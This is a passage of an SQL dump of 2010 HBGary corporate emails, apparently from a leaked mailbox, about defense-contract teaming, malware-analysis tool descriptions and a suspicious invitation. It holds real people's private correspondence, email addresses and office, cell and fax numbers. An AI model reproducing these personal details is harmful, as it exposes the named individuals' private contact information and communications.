POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Jeff McCartney\r\nA good leader helps people improve their skills so they can become more productive.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Jeff McCartney\r\nBusiness management: http://lnkd.in/7XqzaF      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nThere appears to be a fine line between luck and Darwinism in this clip.      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nAn Amazing Video Compilation Of People Nearly Getting Squished         \r\n          Luckiest people ever.\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    David Etue has joined\r\n    Cloud Security Alliance\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Mike Mulville has joined 2 groups, including\r\n      \r\n      Computer Security and Forensics\r\n      and\r\n      Cyber Security Situational Awareness\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Joseph Johnson has joined\r\n    CSCS - Certified Security Compliance Specialist\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Robert Giesler recommends\r\ncolleague      Don Jolly\r\n          Senior Program Manager - Chief, Information Operations (J39) USTRANSCOM at US Transportation Command\r\n        Don is one of the IO community\'s stalwarts.  He is has had the benefit of lengthy continuous service...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Robert Giesler was recommended by\r\nbusiness partner      John Osterholz\r\n        Bob is one of the most innovative practitioners of the information operations art in our industry to...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Ed Swallow recommends\r\nbusiness partner      Holley Slabaugh\r\n          Meeting Planner at National Defense Industrial Association\r\n        Holley supports the National Defense Industrial Association Division that I chair on STEM (Science, ...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Jamie Butler\r\n                  \r\n                     will be attending \r\n                  \r\n                    MANDIANT Incident Response Conference (MIRcon)\r\n                  \r\n                     on October 12, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Michael Schell\r\n                  \r\n                     will be presenting at \r\n                  \r\n                    SecureWorld Bay Area\r\n                  \r\n                     on September 22, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',3911,'aaron_hbgary_com/3911.html'),(11795,'2010-09-16','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008848.M535912P14101Q6650.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Stuff','I just need text on the tools that shows how they can be used for \r\ndetermination of a forensics footprint.  Just a paragraph on each.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, September 15, 2010 10:18 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Stuff\r\n\r\n\r\n\r\nok so first ppt is what we are working on for TMC second is the abstract I \r\njust sent to IARPA third is gregs blackhat presentation on Attribution Third \r\nis our condensed capabilities presentation.\r\n\r\nI can give you more if you need.\r\n\r\nAaron\r\n\r\n',2974,'aaron_hbgary_com/2974.html'),(11796,'2010-09-16','\"Stark, Karl\" <kstark@phillynews.com>','/aaron@hbgary.com/new/1297008848.M789429P14101Q6651.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\nRE: Introduction\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nno. my fault too. it\'s been very busy.\r\n\r\nHow\'s 2pm ET or 4pm ET or after 7pm ET\r\n\r\nKarl Stark\r\nHealth &amp; Science Editor\r\nPhiladelphia Inquirer\r\n215 854-5363\r\nInquirer\'s Health &amp; Science page\r\nhttp://www.philly.com/inquirer/health_science/\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 9/15/2010 8:54 PM\r\nTo: Stark, Karl\r\nCc: Bob Slapnik\r\nSubject: Re: Introduction\r\n\r\nKarl,\r\n\r\nVery sorry for my silence.&nbsp; Do you have time to talk tomorrow or Friday regarding social media?\r\n\r\nAaron\r\n\r\nOn Sep 5, 2010, at 1:16 PM, Bob Slapnik wrote:\r\n\r\n&gt; Aaron and Karl,\r\n&gt;&nbsp;\r\n&gt; I\'d like to introduce the two of you to each other.&nbsp; Karl Stark is my brother-in-law who is a reporter at the Philadelphia Inquirer.&nbsp; Karl is smart and creative and has ideas around location based social networking.&nbsp; Aaron, I recommend you call Karl to brainstorm.\r\n&gt;&nbsp;\r\n&gt; Contact info:\r\n&gt; Karl 215-356-7403\r\n&gt; Aaron 719-510-8478\r\n&gt;&nbsp;\r\n&gt; Bob\r\n&gt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16089,'aaron_hbgary_com/16089.html'),(11797,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008849.M135687P14101Q6652.eml','\"Kathy Warden\" <kathy.warden@ngc.com>','Update','Hi Kathy,\r\n\r\nI hope all is going well, I imagine it is to a degree but like everyone else you are probably a bit frustrated by the lack of movement or the movement to the right of many cyber programs.  I am still questioning whether or not we are as a whole going to be able to make significant progress.  Anyway...\r\n\r\nI just wanted to send you a quick note.  As we both know there is an impending RFP for Romas, and I think you know I am planning to go after that work.  I am a small business and of the work in government for cyber, I know this work the best, so makes sense.  I want to assure you that even though I still have close relationships with members of your team,  I am in no way trying to leverage those relationships to glean information of a programatic or proprietary nature.  And your team is in no way providing me with information of a programatic or proprietary nature.  That is not to say that in some specific cases I would not attempt to recruit key individuals for risk mitigation and capabilities, you and I are both quite aware that is how you play this game.\r\n\r\nWhat concerns me is the immediate management and their continued vilification of me and Ted.  As I mentioned to you nearly a year ago now, I made some missteps but my intentions were for the betterment of the customers mission, Northrops program, and my future.  I didn\'t and still do not believe that what I was doing was in conflict with benefiting all parties.  And as you are probably aware this bears out in the current stresses and desires of capabilities of that customer.  (I want to make sure you know this does not come from your team but I have my badge back and make periodic visits with that customer).  My approach in some form or fashion was the right approach and I was trying to make sure we delivered it and not someone else.  Those were my intentions any ways.\r\n\r\nThe reason I am bringing this up is every time I come out to Colorado and have lunch with people that I hired, grew professionally, and developed personal friendships with, some of the leadership locally come down on them for meeting with us.  I believe this is completely unprofessional and borderline harassment.  The current immediate leadership need to get past whatever animosity or chip that remains with them, as their approach is severely effecting many peoples moral.  People are being criticized for having friendships with us, so much so that other people are afraid to talk with us for fear of the criticism.  Thats just not right.  There is friendship and business and some need to be able to separate the two and better understand the nature of competitive business.\r\n\r\n--------\r\n\r\nOn a separate note I would very much like to get together some time that your schedule permits and discuss with you some of our capabilities and direction related to Threat Intelligence and continuous incident response.  Looking through somewhat different glasses I have had an opportunity to refine my approach to cyber and would like to share it with you.  Recently I have had some very positive discussions with Dr. Porter at IARPA, US-CERT, and FBI Cyber Division regarding both our capabilities and approach to the problem.  In short, I am now a believer in attribution.\r\n\r\nSincerely,\r\nAaron',2991,'aaron_hbgary_com/2991.html'),(11798,'2010-09-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008853.M777021P14101Q6653.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','Excellent email! I look forward to seeing her response.\r\n\r\nOn Sep 15, 2010, at 8:46 PM, Aaron Barr  wrote:\r\n\r\n> Hi Kathy,\r\n>\r\n> I hope all is going well, I imagine it is to a degree but like everyone else you are probably a bit frustrated by the lack of movement or the movement to the right of many cyber programs.  I am still questioning whether or not we are as a whole going to be able to make significant progress.  Anyway...\r\n>\r\n> I just wanted to send you a quick note.  As we both know there is an impending RFP for Romas, and I think you know I am planning to go after that work.  I am a small business and of the work in government for cyber, I know this work the best, so makes sense.  I want to assure you that even though I still have close relationships with members of your team,  I am in no way trying to leverage those relationships to glean information of a programatic or proprietary nature.  And your team is in no way providing me with information of a programatic or proprietary nature.  That is not to say that in some specific cases I would not attempt to recruit key individuals for risk mitigation and capabilities, you and I are both quite aware that is how you play this game.\r\n>\r\n> What concerns me is the immediate management and their continued vilification of me and Ted.  As I mentioned to you nearly a year ago now, I made some missteps but my intentions were for the betterment of the customers mission, Northrops program, and my future.  I didn\'t and still do not believe that what I was doing was in conflict with benefiting all parties.  And as you are probably aware this bears out in the current stresses and desires of capabilities of that customer.  (I want to make sure you know this does not come from your team but I have my badge back and make periodic visits with that customer).  My approach in some form or fashion was the right approach and I was trying to make sure we delivered it and not someone else.  Those were my intentions any ways.\r\n>\r\n> The reason I am bringing this up is every time I come out to Colorado and have lunch with people that I hired, grew professionally, and developed personal friendships with, some of the leadership locally come down on them for meeting with us.  I believe this is completely unprofessional and borderline harassment.  The current immediate leadership need to get past whatever animosity or chip that remains with them, as their approach is severely effecting many peoples moral.  People are being criticized for having friendships with us, so much so that other people are afraid to talk with us for fear of the criticism.  Thats just not right.  There is friendship and business and some need to be able to separate the two and better understand the nature of competitive business.\r\n>\r\n> --------\r\n>\r\n> On a separate note I would very much like to get together some time that your schedule permits and discuss with you some of our capabilities and direction related to Threat Intelligence and continuous incident response.  Looking through somewhat different glasses I have had an opportunity to refine my approach to cyber and would like to share it with you.  Recently I have had some very positive discussions with Dr. Porter at IARPA, US-CERT, and FBI Cyber Division regarding both our capabilities and approach to the problem.  In short, I am now a believer in attribution.\r\n>\r\n> Sincerely,\r\n> Aaron\r\n',10952,'aaron_hbgary_com/10952.html'),(11799,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008854.M292882P14101Q6654.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Update','Me too. :)\r\n\r\nOn Sep 15, 2010, at 10:51 PM, Ted Vera wrote:\r\n\r\n> Excellent email! I look forward to seeing her response.\r\n> \r\n> On Sep 15, 2010, at 8:46 PM, Aaron Barr  wrote:\r\n> \r\n>> Hi Kathy,\r\n>> \r\n>> I hope all is going well, I imagine it is to a degree but like everyone else you are probably a bit frustrated by the lack of movement or the movement to the right of many cyber programs.  I am still questioning whether or not we are as a whole going to be able to make significant progress.  Anyway...\r\n>> \r\n>> I just wanted to send you a quick note.  As we both know there is an impending RFP for Romas, and I think you know I am planning to go after that work.  I am a small business and of the work in government for cyber, I know this work the best, so makes sense.  I want to assure you that even though I still have close relationships with members of your team,  I am in no way trying to leverage those relationships to glean information of a programatic or proprietary nature.  And your team is in no way providing me with information of a programatic or proprietary nature.  That is not to say that in some specific cases I would not attempt to recruit key individuals for risk mitigation and capabilities, you and I are both quite aware that is how you play this game.\r\n>> \r\n>> What concerns me is the immediate management and their continued vilification of me and Ted.  As I mentioned to you nearly a year ago now, I made some missteps but my intentions were for the betterment of the customers mission, Northrops program, and my future.  I didn\'t and still do not believe that what I was doing was in conflict with benefiting all parties.  And as you are probably aware this bears out in the current stresses and desires of capabilities of that customer.  (I want to make sure you know this does not come from your team but I have my badge back and make periodic visits with that customer).  My approach in some form or fashion was the right approach and I was trying to make sure we delivered it and not someone else.  Those were my intentions any ways.\r\n>> \r\n>> The reason I am bringing this up is every time I come out to Colorado and have lunch with people that I hired, grew professionally, and developed personal friendships with, some of the leadership locally come down on them for meeting with us.  I believe this is completely unprofessional and borderline harassment.  The current immediate leadership need to get past whatever animosity or chip that remains with them, as their approach is severely effecting many peoples moral.  People are being criticized for having friendships with us, so much so that other people are afraid to talk with us for fear of the criticism.  Thats just not right.  There is friendship and business and some need to be able to separate the two and better understand the nature of competitive business.\r\n>> \r\n>> --------\r\n>> \r\n>> On a separate note I would very much like to get together some time that your schedule permits and discuss with you some of our capabilities and direction related to Threat Intelligence and continuous incident response.  Looking through somewhat different glasses I have had an opportunity to refine my approach to cyber and would like to share it with you.  Recently I have had some very positive discussions with Dr. Porter at IARPA, US-CERT, and FBI Cyber Division regarding both our capabilities and approach to the problem.  In short, I am now a believer in attribution.\r\n>> \r\n>> Sincerely,\r\n>> Aaron\r\n\r\n',11639,'aaron_hbgary_com/11639.html'),(11800,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008854.M843769P14101Q6655.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Stuff','OK.\r\n\r\nResponder/DDNA.\r\nResponder alleviates some of the strict requirements on experience with disassembly and RE to conduct an initial cut at malware analysis.  Responder also allows users to more quickly derive malware internal information by automating the RE and disassembly process bringing users directly to the internals of malware much more quickly and allowing users to more effectively analyze malware samples.  DDNA ranks software modules resident in memory based on exhibited malware like traits.  These traits are scored algorithmically to provide overall probabilities or percentage of likelihood of a particular module being malware.  In short Responder/DDNA allow you to triage, prioritize, and more quickly analyze malware samples.\r\n\r\nFingerprint.exe\r\nLooking at 30 environmental characteristics of malware at time of compilation we are able to group malware specimens based on how many of the environmental traits are expressed.  What we have found is strong commonality amongst previously unassociated malware samples.  This grouping our clustering allows us to analyze malware within families and also analyze within the family open source or intelligence information associated with individual specimens.  This allows us to correlate intelligence and open source information about individual specimens collectively within a grouped family, which could more likely lead to capabilities in attribution.\r\n\r\nTMC\r\nVolume malware processor.  We are integrating our volume malware processor with the fingerprint tool and our collected open source data with a visual framework to build threat models.  This correlation and visualization will allow us to gain a much better understanding of the association of malware specimens, personas, distribution channels, etc.  Mature threat models will give us better capabilities in attribution and allow us to more easily track threat evolution.\r\n\r\nAaron\r\n\r\nDoes this work?  Dude I need more people...I am spread to thin. :(\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 15, 2010, at 10:34 PM, Masterson, Brian M (XETRON) wrote:\r\n\r\n> I just need text on the tools that shows how they can be used for \r\n> determination of a forensics footprint.  Just a paragraph on each.\r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 15, 2010 10:18 PM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: EXTERNAL:Stuff\r\n> \r\n> \r\n> \r\n> ok so first ppt is what we are working on for TMC second is the abstract I \r\n> just sent to IARPA third is gregs blackhat presentation on Attribution Third \r\n> is our condensed capabilities presentation.\r\n> \r\n> I can give you more if you need.\r\n> \r\n> Aaron\r\n> \r\n\r\n',4604,'aaron_hbgary_com/4604.html'),(11801,'2010-09-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008855.M268527P14101Q6657.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner','Why scary? Is this from your FB profile?On Sep 15, 2010, at 9:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.Now this is getting pretty scary.  I almost opened it.\r\nAaronBegin forwarded message:\r\nFrom: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\nDate: September 15, 2010 10:03:56 PM EDT\r\nTo: aaron@hbgary.com\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n\r\n  	\r\n  \r\n\r\n\r\n\r\n   \r\n  \r\n  	\r\n  	  \r\n      \r\n        \r\n          \r\n            \r\n\r\n\r\nINVITATION:\r\n     Tribute Dinner\r\n\r\n\r\nHOST:\r\n     LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    December 05, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    06:00pm - 09:30pm EST\r\n\r\n\r\n  \r\n\r\n\r\n \r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     McLean Hilton Hotel\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     7920 Jones Branch Dr McLean, VA 22102, USA\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    link to map\r\n\r\n\r\n\r\n\r\n          \r\n        \r\n      \r\n      \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n	 \r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	 \r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don&#39;t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n\r\n',11248,'aaron_hbgary_com/11248.html'),(11802,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008855.M61898P14101Q6656.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner','Check this shit out. &nbsp;I just got this and not 30min. later the invitation was rescinded.Now this is getting pretty scary. &nbsp;I almost opened it.AaronBegin forwarded message:From: \"LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\" &lt;mailer@delivery.cocodot.com&gt;Date: September 15, 2010 10:03:56 PM EDTTo: aaron@hbgary.comSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n  	\r\n  \r\n\r\n\r\n\r\n  &nbsp;\r\n  \r\n  	\r\n  	  \r\n      \r\n        \r\n          \r\n            \r\n\r\n\r\nINVITATION:\r\n     Tribute Dinner\r\n\r\n\r\nHOST:\r\n     LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    December 05, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    06:00pm - 09:30pm EST\r\n\r\n\r\n  \r\n\r\n\r\n&nbsp;\r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     McLean Hilton Hotel\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     7920 Jones Branch Dr McLean, VA 22102, USA\r\n\r\n\r\n\r\n\r\n\r\n  &nbsp;\r\n    link to map\r\n\r\n\r\n\r\n          \r\n        \r\n      \r\n      \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n	&nbsp;\r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	&nbsp;\r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don\'t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n',182,'aaron_hbgary_com/182.html'),(11803,'2010-09-16','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008855.M813359P14101Q6658.eml','aaron@hbgary.com,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,aaron@hbgary.com,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','Re: ManTech','Aaron\r\n\r\nWho at mantech is talking about joining saic?  Justin mentzger is talking to us about getting on our team.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, September 15, 2010 08:46 PM\r\nTo: Pisani, Albert A. (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\nSubject: Re: ManTech\r\n\r\nAl,\r\n\r\nThey were teamed up with ManTech but since ManTech has decided not to\r\nprime I am unsure of their status.  They can\'t prime it so I imagine\r\nthey would need to talk with SAIC or TASC to get a seat.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Aaron:\r\n> Is Abraxis committed?  We are teamed on several other deals and know their seniors quite well.\r\n>\r\n> Al\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Wednesday, September 15, 2010 07:29 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC)\r\n> Subject: ManTech\r\n>\r\n> All,\r\n>\r\n> I was a little taken aback when I found put today that ManTech is thinking of teaming with SAIC. ManTech as going to team with Abraxis but I believe against us and SAIC thought they didn\'t have a high enough pwin.  If Abraxis is teamless we have to assume they are courting SAIC.  I believe we have to add ManTech to the team.  I talked with Bob Frisbie today and based on my conversation he would rather join our team if we are interested.  I think we need to meet soonest to discuss.  I am confident in our position but would not want to if I don\'t have to go against SAIC, NG, ManTech, and Abraxis.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',2467,'aaron_hbgary_com/2467.html');
INSERT INTO `emails` VALUES (11804,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008856.M241487P14101Q6660.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','More Stuff','Understanding the observable forensic footprint of software requires good memory, disk, and network forensic tools along with people experienced in cyber investigations working within a structured process.  HBGary uses Responder, DDNA, and Fingerprint.exe to pull the necessary information out and expedite the investigatory process.  We have done this in a number of different cases that have lead to country and in some cases author level attribution.  All of this is based on the observable software characteristics forensically collected and the analysis process.  The analysis process also involves incorporating and analyzing C&C and social media observables.\r\n\r\nResponder allows the investigator to very quickly analyze software resident in memory for observable characteristics by automatically disassembling software and providing a highly efficient UI for analysis.  Fingerprint.exe pulls common environmental variables associated with the software at time of compilation, such as compile time, compiler version, Linker version, etc.  This capability allows us to very quickly extract, analyze, and group software specimens based on common environmental characteristics.  What brings these tools to life is the investigatory process and understanding the nature of software and malware development and knowing what specific factors are significant and which are not, then correlating.\r\n\r\noh man I am falling fast....zzzzzzzzzzzzzzzzz.....\r\n\r\nThis ok.\r\n\r\nIts really our tools which make analysis more efficient, expedited.  Knowledge of software, specifically malware, characteristics.  Open source research using code on the web and social media data.',6236,'aaron_hbgary_com/6236.html'),(11805,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008856.M26608P14101Q6659.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,,','Re: ManTech','Yep.\r\n\r\nI spoke with Bob Frisbie and Justin today (I am working with them on a forensic proposal).  Justin is Bob\'s BD lead.  Justin told me they were going to talk with SAIC.  I told Justin  we needed to go talk with Bob right away because that was the wrong decision.  I used to be Bob\'s technical director, so I have a good working relationship with Bob.  I told Bob that he needed to talk with TASC before making any decisions and that SAIC was the wrong choice if he wanted to be on a winning team ;)\r\n\r\nAaron\r\n\r\nOn Sep 15, 2010, at 11:26 PM, Lovegrove, John (TASC) wrote:\r\n\r\n> Aaron\r\n> \r\n> Who at mantech is talking about joining saic?  Justin mentzger is talking to us about getting on our team.\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 15, 2010 08:46 PM\r\n> To: Pisani, Albert A. (TASC)\r\n> Cc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\n> Subject: Re: ManTech\r\n> \r\n> Al,\r\n> \r\n> They were teamed up with ManTech but since ManTech has decided not to\r\n> prime I am unsure of their status.  They can\'t prime it so I imagine\r\n> they would need to talk with SAIC or TASC to get a seat.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n>  wrote:\r\n> \r\n>> Aaron:\r\n>> Is Abraxis committed?  We are teamed on several other deals and know their seniors quite well.\r\n>> \r\n>> Al\r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Wednesday, September 15, 2010 07:29 PM\r\n>> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC)\r\n>> Subject: ManTech\r\n>> \r\n>> All,\r\n>> \r\n>> I was a little taken aback when I found put today that ManTech is thinking of teaming with SAIC. ManTech as going to team with Abraxis but I believe against us and SAIC thought they didn\'t have a high enough pwin.  If Abraxis is teamless we have to assume they are courting SAIC.  I believe we have to add ManTech to the team.  I talked with Bob Frisbie today and based on my conversation he would rather join our team if we are interested.  I think we need to meet soonest to discuss.  I am confident in our position but would not want to if I don\'t have to go against SAIC, NG, ManTech, and Abraxis.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n\r\n',9113,'aaron_hbgary_com/9113.html'),(11806,'2010-09-16','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008856.M476526P14101Q6661.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:More Stuff','It is going to have to be.  I am losing it too.\r\nLet me see what I can pull together.\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 15, 2010 11:41 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:More Stuff\r\n\r\nUnderstanding the observable forensic footprint of software requires good\r\nmemory, disk, and network forensic tools along with people experienced in\r\ncyber investigations working within a structured process.  HBGary uses\r\nResponder, DDNA, and Fingerprint.exe to pull the necessary information out\r\nand expedite the investigatory process.  We have done this in a number of\r\ndifferent cases that have lead to country and in some cases author level\r\nattribution.  All of this is based on the observable software\r\ncharacteristics forensically collected and the analysis process.  The\r\nanalysis process also involves incorporating and analyzing C&C and social\r\nmedia observables.\r\n\r\nResponder allows the investigator to very quickly analyze software resident\r\nin memory for observable characteristics by automatically disassembling\r\nsoftware and providing a highly efficient UI for analysis.  Fingerprint.exe\r\npulls common environmental variables associated with the software at time of\r\ncompilation, such as 